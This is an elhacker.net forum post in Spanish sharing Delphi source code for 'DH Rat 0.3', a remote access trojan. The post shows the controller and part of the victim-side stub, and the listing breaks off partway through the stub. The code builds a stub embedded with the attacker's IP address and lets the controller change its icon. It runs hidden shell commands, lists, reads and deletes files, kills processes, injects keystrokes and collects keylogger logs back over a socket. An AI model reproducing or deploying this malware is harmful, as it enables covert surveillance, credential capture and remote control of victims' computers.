elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Rat 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Rat 0.3  (Leído 1,531 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Rat 0.3
« en: 9 Diciembre 2013, 03:30 am »

Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

Una imagen :



Los codigos.

El Administrador.

Código
  1. // DH Rat 0.3
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit rat;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
  11.  sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
  12.  sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
  13.  IdTCPConnection, IdTCPClient, madRes, WinInet;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    sStatusBar1: TsStatusBar;
  19.    sPageControl1: TsPageControl;
  20.    sTabSheet1: TsTabSheet;
  21.    sTabSheet2: TsTabSheet;
  22.    sTabSheet3: TsTabSheet;
  23.    sTabSheet4: TsTabSheet;
  24.    sGroupBox1: TsGroupBox;
  25.    sGroupBox2: TsGroupBox;
  26.    sListView1: TsListView;
  27.    sMemo1: TsMemo;
  28.    sGroupBox3: TsGroupBox;
  29.    sGroupBox4: TsGroupBox;
  30.    sEdit1: TsEdit;
  31.    sGroupBox5: TsGroupBox;
  32.    sButton1: TsButton;
  33.    sGroupBox6: TsGroupBox;
  34.    Image1: TImage;
  35.    sLabel1: TsLabel;
  36.    ServerSocket1: TServerSocket;
  37.    PopupMenu1: TPopupMenu;
  38.    O1: TMenuItem;
  39.    C1: TMenuItem;
  40.    L1: TMenuItem;
  41.    D1: TMenuItem;
  42.    R1: TMenuItem;
  43.    S1: TMenuItem;
  44.    J1: TMenuItem;
  45.    M1: TMenuItem;
  46.    T1: TMenuItem;
  47.    ifPoslistarprocesoscode0then1: TMenuItem;
  48.    K1: TMenuItem;
  49.    C2: TMenuItem;
  50.    C3: TMenuItem;
  51.    H1: TMenuItem;
  52.    S2: TMenuItem;
  53.    H2: TMenuItem;
  54.    S3: TMenuItem;
  55.    K2: TMenuItem;
  56.    PopupMenu2: TPopupMenu;
  57.    S4: TMenuItem;
  58.    S5: TMenuItem;
  59.    Image2: TImage;
  60.    sGroupBox7: TsGroupBox;
  61.    sGroupBox8: TsGroupBox;
  62.    Image3: TImage;
  63.    sButton2: TsButton;
  64.    OpenDialog1: TOpenDialog;
  65.    sEdit2: TsEdit;
  66.    procedure ServerSocket1ClientRead(Sender: TObject;
  67.      Socket: TCustomWinSocket);
  68.  
  69.    procedure O1Click(Sender: TObject);
  70.    procedure C1Click(Sender: TObject);
  71.    procedure ServerSocket1ClientConnect(Sender: TObject;
  72.      Socket: TCustomWinSocket);
  73.    procedure L1Click(Sender: TObject);
  74.    procedure D1Click(Sender: TObject);
  75.    procedure R1Click(Sender: TObject);
  76.    procedure S1Click(Sender: TObject);
  77.    procedure J1Click(Sender: TObject);
  78.    procedure M1Click(Sender: TObject);
  79.    procedure T1Click(Sender: TObject);
  80.    procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
  81.    procedure K1Click(Sender: TObject);
  82.    procedure C2Click(Sender: TObject);
  83.    procedure C3Click(Sender: TObject);
  84.    procedure H1Click(Sender: TObject);
  85.    procedure S2Click(Sender: TObject);
  86.    procedure H2Click(Sender: TObject);
  87.    procedure S3Click(Sender: TObject);
  88.    procedure K2Click(Sender: TObject);
  89.    procedure FormCreate(Sender: TObject);
  90.    procedure S4Click(Sender: TObject);
  91.  
  92.    procedure S5Click(Sender: TObject);
  93.    procedure sButton2Click(Sender: TObject);
  94.    procedure sEdit1DblClick(Sender: TObject);
  95.  
  96.    procedure sButton1Click(Sender: TObject);
  97.  private
  98.    { Private declarations }
  99.  public
  100.    { Public declarations }
  101.  end;
  102.  
  103. var
  104.  Form1: TForm1;
  105.  argumento: string;
  106.  
  107. implementation
  108.  
  109. {$R *.dfm}
  110. // Functions
  111.  
  112. function toma(const pagina: string): UTF8String;
  113.  
  114. // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
  115. // Thanks to www.scalabium.com
  116.  
  117. var
  118.  nave1: HINTERNET;
  119.  nave2: HINTERNET;
  120.  tou: DWORD;
  121.  codez: UTF8String;
  122.  codee: array [0 .. 1023] of byte;
  123.  finalfinal: string;
  124.  
  125. begin
  126.  
  127.  try
  128.  
  129.    begin
  130.  
  131.      finalfinal := '';
  132.      Result := '';
  133.  
  134.      nave1 := InternetOpen(
  135.        'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
  136.          , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  137.  
  138.      nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
  139.        INTERNET_FLAG_RELOAD, 0);
  140.  
  141.      repeat
  142.  
  143.      begin
  144.        InternetReadFile(nave2, @codee, SizeOf(codee), tou);
  145.        SetString(codez, PAnsiChar(@codee[0]), tou);
  146.        finalfinal := finalfinal + codez;
  147.      end;
  148.  
  149.      until tou = 0;
  150.  
  151.      InternetCloseHandle(nave2);
  152.      InternetCloseHandle(nave1);
  153.  
  154.      Result := finalfinal;
  155.    end;
  156.  
  157.  except
  158.    //
  159.  end;
  160.  
  161. end;
  162.  
  163. function regex(text: String; deaca: String; hastaaca: String): String;
  164. begin
  165.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  166.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  167.  Result := text;
  168. end;
  169.  
  170. function dhencode(texto, opcion: string): string;
  171. // Thanks to Taqyon
  172. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  173. var
  174.  num: integer;
  175.  aca: string;
  176.  cantidad: integer;
  177.  
  178. begin
  179.  
  180.  num := 0;
  181.  Result := '';
  182.  aca := '';
  183.  cantidad := 0;
  184.  
  185.  if (opcion = 'encode') then
  186.  begin
  187.    cantidad := Length(texto);
  188.    for num := 1 to cantidad do
  189.    begin
  190.      aca := IntToHex(ord(texto[num]), 2);
  191.      Result := Result + aca;
  192.    end;
  193.  end;
  194.  
  195.  if (opcion = 'decode') then
  196.  begin
  197.    cantidad := Length(texto);
  198.    for num := 1 to cantidad div 2 do
  199.    begin
  200.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  201.      Result := Result + aca;
  202.    end;
  203.  end;
  204.  
  205. end;
  206.  
  207. procedure savefile(filename, texto: string);
  208. var
  209.  ar: TextFile;
  210.  
  211. begin
  212.  
  213.  AssignFile(ar, filename);
  214.  FileMode := fmOpenWrite;
  215.  
  216.  if FileExists(filename) then
  217.    Append(ar)
  218.  else
  219.    Rewrite(ar);
  220.  
  221.  Write(ar, texto);
  222.  CloseFile(ar);
  223.  
  224. end;
  225.  
  226. //
  227.  
  228. procedure TForm1.FormCreate(Sender: TObject);
  229. begin
  230.  
  231.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  232.  sSkinManager1.SkinName := 'matrix';
  233.  sSkinManager1.Active := True;
  234.  
  235.  try
  236.    begin
  237.  
  238.      sListView1.Items.Clear;
  239.  
  240.      ServerSocket1.Port := 6664;
  241.      ServerSocket1.Open;
  242.  
  243.      sStatusBar1.Panels[0].text := '[+] Online';
  244.      Form1.sStatusBar1.Update;
  245.  
  246.    end;
  247.  except
  248.    sStatusBar1.Panels[0].text := '[-] Error';
  249.    Form1.sStatusBar1.Update;
  250.  end;
  251. end;
  252.  
  253. procedure TForm1.C1Click(Sender: TObject);
  254. begin
  255.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
  256. end;
  257.  
  258. procedure TForm1.C2Click(Sender: TObject);
  259. begin
  260.  argumento := InputBox('DH Rat', 'Command', 'net user');
  261.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  262.    ('![ejecutar] [argumento]' + argumento + '[argumento]');
  263. end;
  264.  
  265. procedure TForm1.C3Click(Sender: TObject);
  266. begin
  267.  argumento := InputBox('DH Rat', 'Number', '123');
  268.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  269.    ('![crazymouse] [argumento]' + argumento + '[argumento]');
  270. end;
  271.  
  272. procedure TForm1.D1Click(Sender: TObject);
  273. begin
  274.  argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
  275.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  276.    ('![borraresto] [argumento]' + argumento + '[argumento]');
  277. end;
  278.  
  279. procedure TForm1.H1Click(Sender: TObject);
  280. begin
  281.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  282.    ('![ocultartaskbar]');
  283. end;
  284.  
  285. procedure TForm1.H2Click(Sender: TObject);
  286. begin
  287.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  288.    ('![ocultariconos]');
  289. end;
  290.  
  291. procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
  292. begin
  293.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  294.    ('![listarprocesos]');
  295. end;
  296.  
  297. procedure TForm1.J1Click(Sender: TObject);
  298. begin
  299.  
  300.  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  301.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  302.    ('![escribirword] [argumento]' + argumento + '[argumento]');
  303.  
  304. end;
  305.  
  306. procedure TForm1.K1Click(Sender: TObject);
  307. begin
  308.  argumento := InputBox('DH Rat', 'PID', '');
  309.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  310.    ('![matarproceso] [argumento]' + argumento + '[argumento]');
  311. end;
  312.  
  313. procedure TForm1.K2Click(Sender: TObject);
  314. begin
  315.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  316.    ('![keyloggerlogs]');
  317. end;
  318.  
  319. procedure TForm1.L1Click(Sender: TObject);
  320. begin
  321.  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  322.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  323.    ('![listardirectorio] [argumento]' + argumento + '[argumento]');
  324. end;
  325.  
  326. procedure TForm1.M1Click(Sender: TObject);
  327. begin
  328.  argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
  329.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  330.    ('![mensaje] [argumento]' + argumento + '[argumento]');
  331.  
  332. end;
  333.  
  334. procedure TForm1.O1Click(Sender: TObject);
  335. begin
  336.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
  337. end;
  338.  
  339. procedure TForm1.R1Click(Sender: TObject);
  340. begin
  341.  argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
  342.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  343.    ('![leerarchivo] [argumento]' + argumento + '[argumento]');
  344.  
  345. end;
  346.  
  347. procedure TForm1.S1Click(Sender: TObject);
  348. begin
  349.  argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
  350.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  351.    ('![sendkeys] [argumento]' + argumento + '[argumento]');
  352.  
  353. end;
  354.  
  355. procedure TForm1.S2Click(Sender: TObject);
  356. begin
  357.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  358.    ('![volvertaskbar]');
  359. end;
  360.  
  361. procedure TForm1.S3Click(Sender: TObject);
  362. begin
  363.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  364.    ('![volvericonos]');
  365. end;
  366.  
  367. procedure TForm1.T1Click(Sender: TObject);
  368. begin
  369.  argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
  370.  ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
  371.    ('![hablar] [argumento]' + argumento + '[argumento]');
  372. end;
  373.  
  374. procedure TForm1.S4Click(Sender: TObject);
  375. begin
  376.  
  377.  try
  378.    begin
  379.      ServerSocket1.Port := 6664;
  380.      ServerSocket1.Open;
  381.  
  382.      sListView1.Items.Clear;
  383.  
  384.      sStatusBar1.Panels[0].text := '[+] Online';
  385.      Form1.sStatusBar1.Update;
  386.    end;
  387.  except
  388.  
  389.    sStatusBar1.Panels[0].text := '[-] Error';
  390.    Form1.sStatusBar1.Update;
  391.  end;
  392.  
  393. end;
  394.  
  395. procedure TForm1.S5Click(Sender: TObject);
  396. begin
  397.  try
  398.    begin
  399.  
  400.      sListView1.Items.Clear;
  401.      ServerSocket1.Close;
  402.      sStatusBar1.Panels[0].text := '[+] OffLine';
  403.      Form1.sStatusBar1.Update;
  404.    end;
  405.  except
  406.    sStatusBar1.Panels[0].text := '[-] Error';
  407.    Form1.sStatusBar1.Update;
  408.  end;
  409. end;
  410.  
  411. procedure TForm1.sButton1Click(Sender: TObject);
  412.  
  413. var
  414.  linea: string;
  415.  aca: THandle;
  416.  code: Array [0 .. 9999 + 1] of Char;
  417.  nose: DWORD;
  418.  marca_uno: string;
  419.  lineafinal: string;
  420.  stubgenerado: string;
  421.  change: DWORD;
  422.  valor: string;
  423.  
  424. begin
  425.  
  426.  stubgenerado := 'server_ready.exe';
  427.  lineafinal := '[ip]' + sEdit1.text + '[ip]';
  428.  
  429.  marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';
  430.  
  431.  aca := INVALID_HANDLE_VALUE;
  432.  nose := 0;
  433.  
  434.  DeleteFile(stubgenerado);
  435.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  436.        + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
  437.        + '/' + stubgenerado), True);
  438.  
  439.  linea := marca_uno;
  440.  StrCopy(code, PChar(linea));
  441.  aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
  442.    OPEN_EXISTING, 0, 0);
  443.  if (aca <> INVALID_HANDLE_VALUE) then
  444.  begin
  445.    SetFilePointer(aca, 0, nil, FILE_END);
  446.    WriteFile(aca, code, 9999, nose, nil);
  447.    CloseHandle(aca);
  448.  end;
  449.  
  450.  //
  451.  
  452.  if not(sEdit2.text = '') then
  453.  begin
  454.    try
  455.      begin
  456.  
  457.        valor := IntToStr(128);
  458.  
  459.        change := BeginUpdateResourceW
  460.          (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  461.                + '/' + stubgenerado)), False);
  462.        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  463.          PWideChar(wideString(sEdit2.text)));
  464.        EndUpdateResourceW(change, False);
  465.        sStatusBar1.Panels[0].text := '[+] Done ';
  466.        sStatusBar1.Update;
  467.      end;
  468.    except
  469.      begin
  470.        sStatusBar1.Panels[0].text := '[-] Error';
  471.        sStatusBar1.Update;
  472.      end;
  473.    end;
  474.  end
  475.  else
  476.  begin
  477.    sStatusBar1.Panels[0].text := '[+] Done ';
  478.    sStatusBar1.Update;
  479.  end;
  480.  
  481.  //
  482.  
  483. end;
  484.  
  485. procedure TForm1.sButton2Click(Sender: TObject);
  486. begin
  487.  
  488.  OpenDialog1.InitialDir := GetCurrentDir;
  489.  OpenDialog1.Filter := 'ICO|*.ico|';
  490.  
  491.  if OpenDialog1.Execute then
  492.  begin
  493.    Image3.Picture.LoadFromFile(OpenDialog1.filename);
  494.    sEdit2.text := OpenDialog1.filename;
  495.  end;
  496.  
  497. end;
  498.  
  499. procedure TForm1.sEdit1DblClick(Sender: TObject);
  500. var
  501.  code, ip: string;
  502. begin
  503.  
  504.  code := toma('http://whatismyipaddress.com/');
  505.  
  506.  ip := regex(code, 'alt="Click for more about ', '"></a>');
  507.  
  508.  sEdit1.text := ip;
  509.  
  510. end;
  511.  
  512. procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  513.  Socket: TCustomWinSocket);
  514. begin
  515.  
  516.  with sListView1.Items.Add do
  517.  begin
  518.    Caption := Socket.RemoteHost;
  519.    SubItems.Add('?');
  520.    SubItems.Add('?');
  521.    SubItems.Add('?');
  522.    SubItems.Add('?');
  523.  
  524.  end;
  525.  
  526. end;
  527.  
  528. procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  529.  Socket: TCustomWinSocket);
  530. var
  531.  code: string;
  532.  host: string;
  533.  ip: string;
  534.  pais: string;
  535.  username: string;
  536.  os: string;
  537.  
  538. begin
  539.  
  540.  code := Socket.ReceiveText;
  541.  
  542.  if (Pos('[datos_nuevos][ip]', code) > 0) then
  543.  begin
  544.  
  545.    ip := regex(code, '[ip]', '[ip]');
  546.    pais := regex(code, '[pais]', '[pais]');
  547.    username := regex(code, '[username]', '[username]');
  548.    os := regex(code, '[os]', '[os]');
  549.  
  550.    sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
  551.    sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
  552.    sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
  553.    sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;
  554.  
  555.    sMemo1.Lines.Add('[+] Update Target : OK');
  556.  
  557.  end
  558.  
  559.  else if (Pos('![keyloggerlogs]', code) > 0) then
  560.  begin
  561.    if (FileExists('logs_keylogger.html')) then
  562.    begin
  563.      DeleteFile('logs_keylogger.html');
  564.    end;
  565.  
  566.    savefile('logs_keylogger.html', code);
  567.  
  568.    sMemo1.Lines.Add('[+] Keylogger : OK');
  569.  
  570.    ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
  571.          + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
  572.  end
  573.  else
  574.  begin
  575.    sMemo1.Lines.Add(code);
  576.  end;
  577.  
  578. end;
  579.  
  580. end.
  581.  
  582. // The End ?
  583.  

El stub.

Código
  1. // DH Rat 0.3
  2. // (C) Doddy Hackman 2013
  3.  
  4. // Stub
  5.  
  6. unit stub;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
  13.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
  14.  IdIPMCastServer, ScktComp, sButton, ExtCtrls;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    IdHTTP1: TIdHTTP;
  19.    ClientSocket1: TClientSocket;
  20.    Timer1: TTimer;
  21.    Timer2: TTimer;
  22.    function datanow(): string;
  23.    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  24.    procedure sButton1Click(Sender: TObject);
  25.    procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
  26.    procedure FormCreate(Sender: TObject);
  27.    procedure Timer1Timer(Sender: TObject);
  28.    procedure Timer2Timer(Sender: TObject);
  29.  
  30.  private
  31.    Nombre2: string;
  32.    { Private declarations }
  33.  
  34.  public
  35.    { Public declarations }
  36.  
  37.  end;
  38.  
  39. var
  40.  Form1: TForm1;
  41.  acatoy: string;
  42.  
  43. implementation
  44.  
  45. {$R *.dfm}
  46. {$POINTERMATH ON}
  47. // Functions
  48.  
  49. function dhencode(texto, opcion: string): string;
  50. // Thanks to Taqyon
  51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  52. var
  53.  num: integer;
  54.  aca: string;
  55.  cantidad: integer;
  56.  
  57. begin
  58.  
  59.  num := 0;
  60.  Result := '';
  61.  aca := '';
  62.  cantidad := 0;
  63.  
  64.  if (opcion = 'encode') then
  65.  begin
  66.    cantidad := Length(texto);
  67.    for num := 1 to cantidad do
  68.    begin
  69.      aca := IntToHex(ord(texto[num]), 2);
  70.      Result := Result + aca;
  71.    end;
  72.  end;
  73.  
  74.  if (opcion = 'decode') then
  75.  begin
  76.    cantidad := Length(texto);
  77.    for num := 1 to cantidad div 2 do
  78.    begin
  79.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  80.      Result := Result + aca;
  81.    end;
  82.  end;
  83.  
  84. end;
  85.  
  86. procedure savefile(filename, texto: string);
  87. var
  88.  ar: TextFile;
  89.  
  90. begin
  91.  
  92.  try
  93.  
  94.    begin
  95.      AssignFile(ar, filename);
  96.      FileMode := fmOpenWrite;
  97.  
  98.      if FileExists(filename) then
  99.        Append(ar)
  100.      else
  101.        Rewrite(ar);
  102.  
  103.      Write(ar, texto);
  104.      CloseFile(ar);
  105.    end;
  106.  except
  107.    //
  108.  end;
  109.  
  110. end;
  111.  
  112. function regex(text: String; deaca: String; hastaaca: String): String;
  113. begin
  114.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  115.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  116.  Result := text;
  117. end;
  118.  
  119. function listardirectorio(dir: string): string;
  120. var
  121.  
  122.  busqueda: TSearchRec;
  123.  code: string;
  124.  
  125. begin
  126.  
  127.  code := '';
  128.  
  129.  FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);
  130.  
  131.  code := code + '[+] : ' + busqueda.Name + sLineBreak;
  132.  
  133.  while FindNext(busqueda) = 0 do
  134.  begin
  135.    code := code + '[+] : ' + busqueda.Name + sLineBreak;
  136.  end;
  137.  
  138.  Result := code;
  139.  FindClose(busqueda);
  140.  
  141. end;
  142.  
  143. function borraresto(archivo: string): string;
  144. var
  145.  code: string;
  146. begin
  147.  
  148.  code := '';
  149.  
  150.  if DirectoryExists(archivo) then
  151.  begin
  152.    if (RemoveDir(archivo)) then
  153.    begin
  154.      code := '[+] Directory removed';
  155.    end
  156.    else
  157.    begin
  158.      code := '[+] Error';
  159.    end;
  160.  end;
  161.  if FileExists(archivo) then
  162.  begin
  163.    if (DeleteFile(archivo)) then
  164.    begin
  165.      code := '[+] File removed';
  166.    end
  167.    else
  168.    begin
  169.      code := '[+] Error';
  170.    end;
  171.  end;
  172.  
  173.  Result := code;
  174.  
  175. end;
  176.  
  177. function LeerArchivo(const archivo: TFileName): String;
  178. var
  179.  lista: TStringList;
  180. begin
  181.  
  182.  if (FileExists(archivo)) then
  183.  begin
  184.  
  185.    lista := TStringList.Create;
  186.    lista.Loadfromfile(archivo);
  187.    Result := lista.text;
  188.    lista.Free;
  189.  
  190.  end;
  191.  
  192. end;
  193.  
  194. function lectora(opcion: string): string;
  195. var
  196.  code: string;
  197. begin
  198.  
  199.  code := '';
  200.  
  201.  if (opcion = 'open') then
  202.  begin
  203.    mciSendString('Set cdaudio door open wait', nil, 0, 0);
  204.    code := '[+] Open CD : OK';
  205.  end
  206.  else
  207.  begin
  208.    mciSendString('Set cdaudio door closed wait', nil, 0, 0);
  209.    code := '[+] Close CD : OK';
  210.  end;
  211.  
  212.  Result := code;
  213.  
  214. end;
  215.  
  216. function cambiar_barra(opcion: string): string;
  217. var
  218.  code: string;
  219. begin
  220.  code := '';
  221.  
  222.  if (opcion = 'hide') then
  223.  begin
  224.    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
  225.    code := '[+] Hidden Taskbar : OK';
  226.  end
  227.  else
  228.  begin
  229.    ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
  230.    code := '[+] Show Taskbar : OK';
  231.  end;
  232.  
  233.  Result := code;
  234.  
  235. end;
  236.  
  237. function cambiar_iconos(opcion: string): string;
  238. var
  239.  code: string;
  240.  acatoy: THandle;
  241. begin
  242.  code := '';
  243.  acatoy := FindWindow('ProgMan', nil);
  244.  acatoy := GetWindow(acatoy, GW_CHILD);
  245.  if (opcion = 'hide') then
  246.  begin
  247.    ShowWindow(acatoy, SW_HIDE);
  248.    code := '[+] Hidden Icons : OK';
  249.  end
  250.  else
  251.  begin
  252.    ShowWindow(acatoy, SW_SHOW);
  253.    code := '[+] Show Icons : OK';
  254.  end;
  255.  Result := code;
  256. end;
  257.  
  258. function mensaje(texto: string): string;
  259. var
  260.  code: string;
  261. begin
  262.  code := '';
  263.  ShowMessage(texto);
  264.  code := '[+] Message Sent';
  265.  Result := code;
  266. end;
  267.  
  268. function hablar(text: string): string;
  269. var
  270.  Voice: Variant;
  271.  code: string;
  272. begin
  273.  code := '';
  274.  Voice := CreateOLEObject('SAPI.SpVoice');
  275.  Voice.speak(text);
  276.  code := '[+] Voice Speak : OK';
  277.  Result := code;
  278. end;
  279.  
  280. function SendKeys(texto: string): string;
  281. // Thanks to Remy Lebeau for the help
  282. var
  283.  eventos: PInput;
  284.  controlb, controla: integer;
  285.  code: string;
  286. begin
  287.  
  288.  code := '';
  289.  code := '[+] SendKeys : OK';
  290.  
  291.  GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));
  292.  
  293.  controla := 0;
  294.  
  295.  for controlb := 1 to Length(texto) do
  296.  begin
  297.  
  298.    eventos[controla].Itype := INPUT_KEYBOARD;
  299.    eventos[controla].ki.wVk := 0;
  300.    eventos[controla].ki.wScan := ord(texto[controlb]);
  301.    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
  302.    eventos[controla].ki.time := 0;
  303.    eventos[controla].ki.dwExtraInfo := 0;
  304.  
  305.    Inc(controla);
  306.  
  307.    eventos[controla].Itype := INPUT_KEYBOARD;
  308.    eventos[controla].ki.wVk := 0;
  309.    eventos[controla].ki.wScan := ord(texto[controlb]);
  310.    eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
  311.    eventos[controla].ki.time := 0;
  312.    eventos[controla].ki.dwExtraInfo := 0;
  313.  
  314.    Inc(controla);
  315.  
  316.  end;
  317.  
  318.  SendInput(controla, eventos[0], SizeOf(TInput));
  319.  
  320.  Result := code;
  321.  
  322. end;
  323.  
  324. function escribir_word(texto: string): string;
  325. var
  326.  code: string;
  327. begin
  328.  code := '';
  329.  code := '[+] Word Joke : OK';
  330.  ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
  331.  Sleep(5000);
  332.  SendKeys(texto);
  333.  Result := code;
  334.  
  335. end;
  336.  
  337. function listarprocesos(): string;
  338. var
  339.  conector: THandle;
  340.  timbre: LongBool;
  341.  indicio: TProcessEntry32;
  342.  code: string;
  343.  
  344. begin
  345.  
  346.  code := '';
  347.  
  348.  conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  349.  indicio.dwSize := SizeOf(indicio);
  350.  
  351.  timbre := Process32First(conector, indicio);
  352.  
  353.  while timbre do
  354.  
  355.  begin
  356.  
  357.    code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
  358.      (indicio.th32ProcessID) + sLineBreak;
  359.  
  360.    timbre := Process32Next(conector, indicio);
  361.  
  362.  end;
  363.  
  364.  Result := code;
  365.  
  366. end;
  367.  
  368. function matarproceso(pid: string): string;
  369. var
  370.  vano: THandle;
  371.  code: string;
  372.  
  373. begin
  374.  
  375.  code := '';
  376.  vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));
  377.  
  378.  if TerminateProcess(vano, 0) then
  379.  begin
  380.    code := '[+] Kill Process : OK';
  381.  end
  382.  else
  383.  begin
  384.    code := '[+] Kill Process : ERROR';
  385.  end;
  386.  
  387.  Result := code;
  388.  
  389. end;
  390.  
  391. function ejecutar(cmd: string): string;
  392. // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
  393. // Thanks to www.delphidabbler.com
  394.  
  395. var
  396.  parte1: TSecurityAttributes;
  397.  parte2: TStartupInfo;
  398.  parte3: TProcessInformation;
  399.  parte4: THandle;
  400.  parte5: THandle;
  401.  control2: Boolean;
  402.  contez: array [0 .. 255] of AnsiChar;
  403.  notengoidea: Cardinal;
  404.  fix: Boolean;
  405.  code: string;
  406.  
  407. begin
  408.  
  409.  code := '';
  410.  
  411.  with parte1 do
  412.  begin
  413.    nLength := SizeOf(parte1);
  414.    bInheritHandle := True;
  415.    lpSecurityDescriptor := nil;
  416.  end;
  417.  
  418.  CreatePipe(parte4, parte5, @parte1, 0);
  419.  
  420.  with parte2 do
  421.  begin
  422.    FillChar(parte2, SizeOf(parte2), 0);
  423.    cb := SizeOf(parte2);
  424.    dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  425.    wShowWindow := SW_HIDE;
  426.    hStdInput := GetStdHandle(STD_INPUT_HANDLE);
  427.    hStdOutput := parte5;
  428.    hStdError := parte5;
  429.  end;
  430.  
  431.  fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
  432.    PChar('c:/'), parte2, parte3);
  433.  
  434.  CloseHandle(parte5);
  435.  
  436.  if fix then
  437.  
  438.    repeat
  439.  
  440.    begin
